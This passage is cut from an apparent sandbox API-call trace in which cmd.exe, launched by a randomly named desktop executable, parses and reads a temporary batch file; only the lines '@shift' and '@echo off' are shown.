_String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\"") returned 80 [0036.978] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\"") returned 80 [0036.978] GetProcessHeap () returned 0x4e0000 [0036.978] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4e10f0 [0036.978] GetProcessHeap () returned 0x4e0000 [0036.978] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x70) returned 0x4e1150 [0036.980] GetProcessHeap () returned 0x4e0000 [0036.980] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x86) returned 0x4e11c8 [0036.981] GetConsoleTitleW (in: lpConsoleTitle=0x41f878, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe") returned 0x3a [0036.981] GetFileAttributesW (lpFileName="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat\"")) returned 0xffffffff [0036.981] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0036.981] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0036.981] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0036.981] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0036.982] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0036.982] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0036.982] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0036.982] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0036.982] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0036.982] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0036.982] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0036.982] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0036.982] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0036.982] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0036.982] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0036.982] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0036.982] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0036.982] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0036.982] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0036.982] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0036.982] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0036.982] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0036.982] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0036.982] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0036.982] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0036.982] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0036.982] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0036.982] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0036.982] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0036.982] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0036.982] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0036.982] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0036.983] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0036.983] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0036.983] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0036.983] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0036.983] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0036.983] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0036.983] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0036.983] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0036.983] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0036.983] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0036.983] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0036.983] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0036.983] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0036.983] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0036.983] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0036.983] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0036.983] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0036.983] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0036.983] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0036.983] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0036.983] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0036.983] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0036.983] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0036.983] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0036.983] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0036.983] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0036.983] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0036.983] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0036.983] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0036.984] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0036.984] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0036.984] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0036.984] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0036.984] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0036.984] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0036.984] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0036.984] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0036.984] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0036.984] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0036.984] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0036.984] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0036.984] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0036.984] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0036.984] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0036.984] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0036.984] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0036.984] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0036.984] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0036.984] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0036.984] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0036.984] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0036.984] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0036.984] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0036.984] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0036.984] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0036.984] GetProcessHeap () returned 0x4e0000 [0036.984] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f30a8 [0036.984] GetProcessHeap () returned 0x4e0000 [0036.985] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xee) returned 0x4f32c0 [0036.987] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0036.987] GetProcessHeap () returned 0x4e0000 [0036.987] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x418) returned 0x4f41c8 [0036.987] SetErrorMode (uMode=0x0) returned 0x0 [0036.987] SetErrorMode (uMode=0x1) returned 0x0 [0036.987] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\.", nBufferLength=0x208, lpBuffer=0x4f41d0, lpFilePart=0x41f398 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpFilePart=0x41f398*="Temp") returned 0x24 [0036.987] SetErrorMode (uMode=0x0) returned 0x1 [0036.987] GetProcessHeap () returned 0x4e0000 [0036.987] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f41c8, Size=0x6c) returned 0x4f41c8 [0036.987] GetProcessHeap () returned 0x4e0000 [0036.987] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f41c8) returned 0x6c [0036.988] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\.") returned 1 [0036.988] GetProcessHeap () returned 0x4e0000 [0036.988] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4e1258 [0036.988] GetProcessHeap () returned 0x4e0000 [0036.988] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xa4) returned 0x4f33b8 [0036.988] GetProcessHeap () returned 0x4e0000 [0036.988] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f33b8, Size=0x58) returned 0x4f33b8 [0036.988] GetProcessHeap () returned 0x4e0000 [0036.988] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f33b8) returned 0x58 [0036.988] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0036.988] GetProcessHeap () returned 0x4e0000 [0036.988] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe0) returned 0x4f3418 [0036.992] GetProcessHeap () returned 0x4e0000 [0036.992] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f3418, Size=0x76) returned 0x4f3418 [0036.993] GetProcessHeap () returned 0x4e0000 [0036.993] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f3418) returned 0x76 [0036.993] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0036.993] FindFirstFileExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat", fInfoLevelId=0x1, lpFindFileData=0x41f134, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f134) returned 0x4f3498 [0036.993] GetProcessHeap () returned 0x4e0000 [0036.993] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x14) returned 0x4f1830 [0036.993] FindClose (in: hFindFile=0x4f3498 | out: hFindFile=0x4f3498) returned 1 [0036.994] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0036.994] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0036.994] GetConsoleTitleW (in: lpConsoleTitle=0x41f60c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe") returned 0x3a [0036.994] GetProcessHeap () returned 0x4e0000 [0036.994] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x11c) returned 0x4f3498 [0036.994] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77710000 [0036.994] GetProcAddress (hModule=0x77710000, lpProcName="SaferIdentifyLevel") returned 0x77732102 [0036.995] IdentifyCodeAuthzLevelW () returned 0x1 [0037.006] GetProcAddress (hModule=0x77710000, lpProcName="SaferComputeTokenFromLevel") returned 0x77733352 [0037.006] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0037.007] GetProcAddress (hModule=0x77710000, lpProcName="SaferCloseLevel") returned 0x77733825 [0037.007] CloseCodeAuthzLevel () returned 0x1 [0037.007] SetErrorMode (uMode=0x0) returned 0x0 [0037.007] SetErrorMode (uMode=0x1) returned 0x0 [0037.007] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat", nBufferLength=0x104, lpBuffer=0x4f30b0, lpFilePart=0x41f4f8 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat", lpFilePart=0x41f4f8*="CAS5AY8X.bat") returned 0x31 [0037.007] SetErrorMode (uMode=0x0) returned 0x1 [0037.007] GetProcessHeap () returned 0x4e0000 [0037.007] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x70) returned 0x4f48a0 [0037.007] wcsspn (_String=" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" ", _Control=" \x09") returned 0x1 [0037.007] GetProcessHeap () returned 0x4e0000 [0037.007] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x84) returned 0x4f4918 [0037.007] GetProcessHeap () returned 0x4e0000 [0037.007] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xfc) returned 0x4f49a8 [0037.007] GetProcessHeap () returned 0x4e0000 [0037.007] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f49a8, Size=0x84) returned 0x4f49a8 [0037.007] GetProcessHeap () returned 0x4e0000 [0037.007] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f49a8) returned 0x84 [0037.007] CmdBatNotification () returned 0x4f3110 [0037.008] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0037.008] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0037.008] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.008] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.008] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.008] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.008] ReadFile (in: hFile=0x78, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.008] SetFilePointer (in: hFile=0x78, lDistanceToMove=8, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0037.009] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=8, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="@shift\r\n") returned 8 [0037.009] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.009] GetFileType (hFile=0x78) returned 0x1 [0037.009] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.009] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0037.009] GetProcessHeap () returned 0x4e0000 [0037.009] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.009] GetProcessHeap () returned 0x4e0000 [0037.009] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.009] GetProcessHeap () returned 0x4e0000 [0037.009] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.010] _wcsicmp (_String1="shift", _String2=")") returned 74 [0037.010] _wcsicmp (_String1="FOR", _String2="shift") returned -13 [0037.010] _wcsicmp (_String1="FOR/?", _String2="shift") returned -13 [0037.010] _wcsicmp (_String1="IF", _String2="shift") returned -10 [0037.010] _wcsicmp (_String1="IF/?", _String2="shift") returned -10 [0037.010] _wcsicmp (_String1="REM", _String2="shift") returned -1 [0037.010] _wcsicmp (_String1="REM/?", _String2="shift") returned -1 [0037.010] GetProcessHeap () returned 0x4e0000 [0037.010] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0037.010] GetProcessHeap () returned 0x4e0000 [0037.010] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4af8 [0037.012] _tell (_FileHandle=3) returned 8 [0037.012] _close (_FileHandle=3) returned 0 [0037.012] _wcsicmp (_String1="shift", _String2="DIR") returned 15 [0037.012] _wcsicmp (_String1="shift", _String2="ERASE") returned 14 [0037.012] _wcsicmp (_String1="shift", _String2="DEL") returned 15 [0037.012] _wcsicmp (_String1="shift", _String2="TYPE") returned -1 [0037.012] _wcsicmp (_String1="shift", _String2="COPY") returned 16 [0037.012] _wcsicmp (_String1="shift", _String2="CD") returned 16 [0037.012] _wcsicmp (_String1="shift", _String2="CHDIR") returned 16 [0037.012] _wcsicmp (_String1="shift", _String2="RENAME") returned 1 [0037.012] _wcsicmp (_String1="shift", _String2="REN") returned 1 [0037.012] _wcsicmp (_String1="shift", _String2="ECHO") returned 14 [0037.013] _wcsicmp (_String1="shift", _String2="SET") returned 3 [0037.013] _wcsicmp (_String1="shift", _String2="PAUSE") returned 3 [0037.013] _wcsicmp (_String1="shift", _String2="DATE") returned 15 [0037.013] _wcsicmp (_String1="shift", _String2="TIME") returned -1 [0037.013] _wcsicmp (_String1="shift", _String2="PROMPT") returned 3 [0037.013] _wcsicmp (_String1="shift", _String2="MD") returned 6 [0037.013] _wcsicmp (_String1="shift", _String2="MKDIR") returned 6 [0037.013] _wcsicmp (_String1="shift", _String2="RD") returned 1 [0037.013] _wcsicmp (_String1="shift", _String2="RMDIR") returned 1 [0037.013] _wcsicmp (_String1="shift", _String2="PATH") returned 3 [0037.013] _wcsicmp (_String1="shift", _String2="GOTO") returned 12 [0037.013] _wcsicmp (_String1="shift", _String2="SHIFT") returned 0 [0037.013] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe") returned 0x3a [0037.013] _wcsicmp (_String1="shift", _String2="DIR") returned 15 [0037.013] _wcsicmp (_String1="shift", _String2="ERASE") returned 14 [0037.013] _wcsicmp (_String1="shift", _String2="DEL") returned 15 [0037.014] _wcsicmp (_String1="shift", _String2="TYPE") returned -1 [0037.014] _wcsicmp (_String1="shift", _String2="COPY") returned 16 [0037.014] _wcsicmp (_String1="shift", _String2="CD") returned 16 [0037.014] _wcsicmp (_String1="shift", _String2="CHDIR") returned 16 [0037.014] _wcsicmp (_String1="shift", _String2="RENAME") returned 1 [0037.014] _wcsicmp (_String1="shift", _String2="REN") returned 1 [0037.014] _wcsicmp (_String1="shift", _String2="ECHO") returned 14 [0037.014] _wcsicmp (_String1="shift", _String2="SET") returned 3 [0037.014] _wcsicmp (_String1="shift", _String2="PAUSE") returned 3 [0037.014] _wcsicmp (_String1="shift", _String2="DATE") returned 15 [0037.014] _wcsicmp (_String1="shift", _String2="TIME") returned -1 [0037.014] _wcsicmp (_String1="shift", _String2="PROMPT") returned 3 [0037.014] _wcsicmp (_String1="shift", _String2="MD") returned 6 [0037.014] _wcsicmp (_String1="shift", _String2="MKDIR") returned 6 [0037.014] _wcsicmp (_String1="shift", _String2="RD") returned 1 [0037.014] _wcsicmp (_String1="shift", _String2="RMDIR") returned 1 [0037.014] _wcsicmp (_String1="shift", _String2="PATH") returned 3 [0037.014] _wcsicmp (_String1="shift", _String2="GOTO") returned 12 [0037.014] _wcsicmp (_String1="shift", _String2="SHIFT") returned 0 [0037.014] GetProcessHeap () returned 0x4e0000 [0037.014] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xc) returned 0x4f4518 [0037.014] GetProcessHeap () returned 0x4e0000 [0037.014] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.014] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.014] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.015] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.015] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.015] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.015] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.015] SetConsoleInputExeNameW () returned 0x1 [0037.015] GetConsoleOutputCP () returned 0x1b5 [0037.015] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.015] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.016] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0037.016] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0037.016] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.016] SetFilePointer (in: hFile=0x78, lDistanceToMove=8, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0037.016] GetProcessHeap () returned 0x4e0000 [0037.016] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.016] GetProcessHeap () returned 0x4e0000 [0037.016] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.016] GetProcessHeap () returned 0x4e0000 [0037.016] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0037.016] GetProcessHeap () returned 0x4e0000 [0037.016] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.016] GetProcessHeap () returned 0x4e0000 [0037.016] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.016] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.016] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0037.017] ReadFile (in: hFile=0x78, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.017] SetFilePointer (in: hFile=0x78, lDistanceToMove=19, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0037.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="@echo off\r\n") returned 11 [0037.017] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.017] GetFileType (hFile=0x78) returned 0x1 [0037.017] _get_osfhandle (_FileHandle=3) returned 0x78 [0037.017] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0037.017] GetProcessHeap () returned 0x4e0000 [0037.017] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.017] GetProcessHeap () returned 0x4e0000 [0037.017] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.017] GetProcessHeap () returned 0x4e0000 [0037.017] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.018] _wcsicmp (_String1="echo", _String2=")") returned 60 [0037.018] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0037.018] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0037.018] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0037.018] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0037.018] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0037.018] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0037.018] GetProcessHeap () returned 0x4e0000 [0037.018] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0037.018] GetProcessHeap () returned 0x4e0000 [0037.018] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4af8 [0037.018] GetProcessHeap () returned 0x4e0000 [0037.018] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4b18 [0037.020] _tell (_FileHandle=3) returned 19 [0037.020] _close (_FileHandle=3) returned 0 [0037.020] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0037.020] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0037.020] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0037.020] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0037.020] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0037.020] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0037.020] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0037.020] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0037.020] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0037.021] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0037.021] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe") returned 0x3a [0037.021] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0037.021] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0037.021] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0037.021] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0037.021] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0037.021] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0037.021] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0037.021] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0037.021] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0037.021] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0037.021] GetProcessHeap () returned 0x4e0000 [0037.021] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.022] GetProcessHeap () returned 0x4e0000 [0037.022] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f4b38 [0037.022] GetProcessHeap () returned 0x4e0000 [0037.022] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b38) returned 0x12 [0037.022] GetProcessHeap () returned 0x4e0000 [0037.022] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.022] _wcsnicmp (_String1="off", _String2="off", _MaxCount=0x3) returned 0 [0037.022] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.022] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.022] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.022] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.023] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.023] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.023] SetConsoleInputExeNameW () returned 0x1 [0037.023] GetConsoleOutputCP () returned 0x1b5 [0037.023] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.023] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.023] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: 